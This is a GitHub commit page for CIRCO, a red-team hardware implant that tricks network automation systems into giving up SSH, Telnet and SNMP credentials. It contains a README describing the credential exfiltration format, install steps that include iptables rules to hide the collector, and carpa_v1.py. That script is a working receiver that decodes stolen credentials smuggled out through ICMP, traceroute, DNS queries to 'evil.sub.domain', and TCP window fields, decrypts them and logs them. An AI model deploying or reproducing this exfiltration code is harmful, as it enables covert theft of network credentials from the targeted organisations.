Skip to content

Commit

Permalink
Initial commit for CIRCO v1
Browse files Browse the repository at this point in the history
  • Loading branch information
ekiojp committed Nov 10, 2018
1 parent bcb6d46 commit d434b94
Show file tree
Hide file tree
Showing 36 changed files with 11,007 additions and 0 deletions.
93 changes: 93 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,93 @@
# CIRCO

## Cisco Implant Raspberry Controlled Operations

Designed under Raspberry Pi Zero and aimed for cover red-team Ops, we take advantage of SecNetDevOps tools to capture network credentials in a stealth mode.
Using a low profile hardware/electronics and different methods for credentials exfiltration
The tools use a combination of honeypots and information gather to lure Automation Systems into reveling network credentials (ssh/telnet/snmp) to our implant.

## Installation

Follow INSTAL.txt file on each directory:

```
/circo_v1/INSTALL.txt
/carap_v1/INSTALL.txt
/jaula_v1/INSTALL.txt
```

----

# Credentials Exfiltration Format

### Telnet
```
t,<user>,<password>
t,e,<enable>
```

### SSH
```
s,<user>,<password>
s,e,<enable>
```

### SNMP
```
p,<community>
```

----

# DEMO

[Demo Video](https://vimeo.com/299122405)

Hostname `jaula` is a Raspberry Pi Zero with Adafruit 2.8" TFT and Buffalo WLI-UC-GNM
dongle (also connect an USB LAN adaptor for mgmt), will be running `jaula_v1.py`

Hostname `carpa` is a Raspberry Pi 3 running DHCP, eth0 connected to Cisco 2960-8TC and
console to the switch, we also run `carpa_v1.py` (this can be on Internet)
From here we can connecto our fake Cisco 3845 switch (circo_v1.py) like an automation system
The onboard wlan0 is used for mgmt

Hostname `circo` is **the** Raspberry Pi Zero W running `circo_v1.py`
We use a Buffalo WLI-UC-GNM dongle for Wireless exfiltration (wlan1) and onboard for
mgt (wlan0). USB LAN adapter (eth0) connected to the Cisco switch.
The PoE & DC-DC are used to provide power (5V) to the Raspberry

**Demo Enclosure Only**

![box](circo-box.jpg)


----

# Presentations

[HIVE AV Tokyo 2018](https://speakerdeck.com/ekio_jp/circo-hive-av-tokyo-2018)


----

# ToDo

- [ ] Make the code nicer
- [ ] Improve performace for snmposter and support *any* community
- [ ] Work on WPAD discovery module
- [ ] Work on No-DHCP module
- [ ] Wifi Pineapple Module (jaula_v1.py)
- [ ] Include Automation SRC IP in the exfiltration
- [ ] Port code into NodeMCU/Arduino for jaula_v1.py

----

# Author

Emilio / [@ekio_jp](https://twitter.com/ekio_jp)

----

# Licence

Please see [LICENSE](https://github.com/ekiojp/circo/blob/master/LICENSE).
28 changes: 28 additions & 0 deletions carpa_v1/INSTALL.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
# Install Software
sudo apt-get install python-pip
sudo apt-get install git

# Install Scapy
git clone https://github.com/secdev/scapy
cd scapy
sudo python setup.py install && cd .. && sudo rm -rf scapy

# Get a copy of CIRCO
cd ~
git clone https://github.com/ekiojp/circo

# Install Requirementes
cd ~/circo/carpa_v1
sudo pip install -r requirements.txt

# Post-Install (avoid RST & ICMP packets out, block ping response)
sudo iptables -A INPUT -i eth0 -p icmp -j DROP
sudo iptables -A OUTPUT -o eth0 -p tcp --tcp-flags RST RST -j DROP
sudo iptables -A OUTPUT -o eth0 -p icmp --icmp-type port-unreachable -j DROP

# Start "carpa_v1" on the background
sudo ~/circo/carpa_v1/carpa_v1.py -i eth0 -f ~/CRED.txt &

# REMEMBER!
# change "phrase" & "salt" in carpa_v1.py to match circo_v1.py
# ccname also need to match the NS domain used for DNS exfiltration
9 changes: 9 additions & 0 deletions carpa_v1/carpa-logo
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@

______ ______ ______
/ _____) /\ (_____ \(_____ \ /\
| / / \ _____) )_____) ) \
| | / /\ (_____ (| ____/ /\ \
| \_____| |__| | | | | | |__| |
\______)______| |_|_| |______|


240 changes: 240 additions & 0 deletions carpa_v1/carpa_v1.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,240 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
import sys
import os
import re
import argparse
import time
import pyaes
import pyscrypt
import collections
from scapy.all import Raw, IP, ICMP, TCP, UDP, DNS, sniff

# Me
__author__ = "Emilio / @ekio_jp"
__version__ = "1.2"

# Define Config
phrase = 'Waaaaa! awesome :)'
salt = 'salgruesa'
ccname = 'evil.sub.domain'

# Setup
motd = 'carpa-logo'
DEBUG = False
ipktlen = 0
ipkttotal = 200
idic = {}
tpktlen = 0
tpkttotal = 200
tdic = {}
wpktlen = 0
wpkttotal = 200
wdic = {}
spktlen = 0
spkttotal = 200
sdic = {}
fd = ''


def decrypti(ciphertxt):
hashed = pyscrypt.hash(phrase, salt, 1024, 1, 1, 16)
key = hashed.encode('hex')
aes = pyaes.AESModeOfOperationCTR(key)
cleartxt = aes.decrypt(ciphertxt.decode('hex'))
return cleartxt


def pkt_callback(pkt):
global ipkttotal
global ipktlen
global idic
global tpkttotal
global tpktlen
global tdic
global wpkttotal
global wpktlen
global wdic
global spkttotal
global spktlen
global sdic

# Process PING packets
if pkt.haslayer(ICMP) and pkt[ICMP].type == 8:
if pkt[IP].id >= 200 and pkt[IP].id < 300:
ipktlen = pkt[IP].id - 200
elif pkt[IP].id >= 300 and pkt[IP].id < 400:
ipkttotal = pkt[IP].id - 300
elif pkt[IP].id >= 500 and pkt[IP].id < 600:
idic[pkt[IP].id - 500] = '{:04x}'.format(pkt[ICMP].seq)

if len(idic) == ipkttotal:
odic = collections.OrderedDict(sorted(idic.items()))
final = ''
for k, v in odic.iteritems():
final = final + v
text = decrypti(final[:ipktlen])
text = text.strip()
if DEBUG:
print('Receive Credentails via ICMP:')
print(time.strftime("%Y-%m-%d %H:%M:%S ",
time.gmtime()) + text)
find = re.compile('\\b' + text + '\\b')
with open(fd, 'a+') as sfile:
with open(fd, 'r') as xfile:
m = find.findall(xfile.read())
if not m:
sfile.write(time.strftime("%Y-%m-%d %H:%M:%S ",
time.gmtime()) + text + '\n')
idic = {}
ipkttotal = 200

# Process Traceroute packets
elif pkt.haslayer(UDP) and pkt[UDP].dport >= 33434:
if pkt[IP].id >= 200 and pkt[IP].id < 300:
tpktlen = pkt[IP].id - 200
elif pkt[IP].id >= 300 and pkt[IP].id < 400:
tpkttotal = pkt[IP].id - 300
elif pkt[IP].id >= 500 and pkt[IP].id < 600:
tdic[pkt[IP].id - 500] = pkt[Raw].load[28:]

if len(tdic) == tpkttotal:
odic = collections.OrderedDict(sorted(tdic.items()))
final = ''
for k, v in odic.iteritems():
final = final + v
text = decrypti(final[:tpktlen])
text = text.strip()
if DEBUG:
print('Receive Credentails via Traceroute:')
print(time.strftime("%Y-%m-%d %H:%M:%S ",
time.gmtime()) + text)
find = re.compile('\\b' + text + '\\b')
with open(fd, 'a+') as sfile:
with open(fd, 'r') as xfile:
m = find.findall(xfile.read())
if not m:
sfile.write(time.strftime("%Y-%m-%d %H:%M:%S ",
time.gmtime()) + text + '\n')
tdic = {}
tpkttotal = 200

# Proccess DNS packets
elif pkt.haslayer(DNS) and ccname in pkt[DNS].qd.qname:
text = decrypti(pkt[DNS].qd.qname.split('.')[0])
text = text.strip()
if DEBUG:
print('Receive Credentails via DNS:')
print(time.strftime("%Y-%m-%d %H:%M:%S ",
time.gmtime()) + text)
find = re.compile('\\b' + text + '\\b')
with open(fd, 'a+') as sfile:
with open(fd, 'r') as xfile:
m = find.findall(xfile.read())
if not m:
sfile.write(time.strftime("%Y-%m-%d %H:%M:%S ",
time.gmtime()) + text + '\n')

# Proccess HTTP packets
elif pkt.haslayer(TCP) and pkt[TCP].dport == 80:
if pkt[IP].id >= 200 and pkt[IP].id < 300:
wpktlen = pkt[IP].id - 200
elif pkt[IP].id >= 300 and pkt[IP].id < 400:
wpkttotal = pkt[IP].id - 300
elif pkt[IP].id >= 500 and pkt[IP].id < 600:
wdic[pkt[IP].id - 500] = '{:04x}'.format(pkt[TCP].window)

if len(wdic) == wpkttotal:
odic = collections.OrderedDict(sorted(wdic.items()))
final = ''
for k, v in odic.iteritems():
final = final + v
text = decrypti(final[:wpktlen])
text = text.strip()
if DEBUG:
print('Receive Credentails via HTTP:')
print(time.strftime("%Y-%m-%d %H:%M:%S ",
time.gmtime()) + text)
find = re.compile('\\b' + text + '\\b')
with open(fd, 'a+') as sfile:
with open(fd, 'r') as xfile:
m = find.findall(xfile.read())
if not m:
sfile.write(time.strftime("%Y-%m-%d %H:%M:%S ",
time.gmtime()) + text + '\n')
wdic = {}
wpkttotal = 200

# Proccess HTTPS packets
elif pkt.haslayer(TCP) and pkt[TCP].dport == 443:
if pkt[IP].id >= 200 and pkt[IP].id < 300:
spktlen = pkt[IP].id - 200
elif pkt[IP].id >= 300 and pkt[IP].id < 400:
spkttotal = pkt[IP].id - 300
elif pkt[IP].id >= 500 and pkt[IP].id < 600:
sdic[pkt[IP].id - 500] = '{:04x}'.format(pkt[TCP].window)

if len(sdic) == spkttotal:
odic = collections.OrderedDict(sorted(sdic.items()))
final = ''
for k, v in odic.iteritems():
final = final + v
text = decrypti(final[:spktlen])
text = text.strip()
if DEBUG:
print('Receive Credentails via HTTPS:')
print(time.strftime("%Y-%m-%d %H:%M:%S ",
time.gmtime()) + text)
find = re.compile('\\b' + text + '\\b')
with open(fd, 'a+') as sfile:
with open(fd, 'r') as xfile:
m = find.findall(xfile.read())
if not m:
sfile.write(time.strftime("%Y-%m-%d %H:%M:%S ",
time.gmtime()) + text + '\n')
sdic = {}
spkttotal = 200


def parsingopt():
parser = argparse.ArgumentParser()
parser.add_argument('-v', '--verbose',
action='store_true', help='Enable Debugging')
parser.add_argument('-i', required=True,
metavar='<eth0>', dest='nic', help='Sniff Interface')
parser.add_argument('-f', required=True,
metavar='<file>', dest='fd', help='Output File')
if len(sys.argv) > 1:
try:
return parser.parse_args()
except IOError, msg:
parser.error(str(msg))
else:
with open(motd, 'r') as sfile:
print(sfile.read())
print('Author: ' + __author__)
print('Version: ' + __version__ + '\n')
parser.print_help()
sys.exit(1)


def main():
global fd
global DEBUG
opciones = parsingopt()
if opciones.verbose:
DEBUG = True
if opciones.fd:
fd = opciones.fd

if DEBUG:
print('Listening.....')
sniff(iface=opciones.nic, prn=pkt_callback, store=0,
filter="(icmp) or (udp port 53) or "
"(udp portrange 33434-33500) or (tcp port 80) or (tcp port 443)")


# Call main
if __name__ == '__main__':
main()
2 changes: 2 additions & 0 deletions carpa_v1/requirements.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
pyaes==1.6.1
pyscrypt==1.6.2
Binary file added circo-box.jpg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading

0 comments on commit d434b94

Please sign in to comment.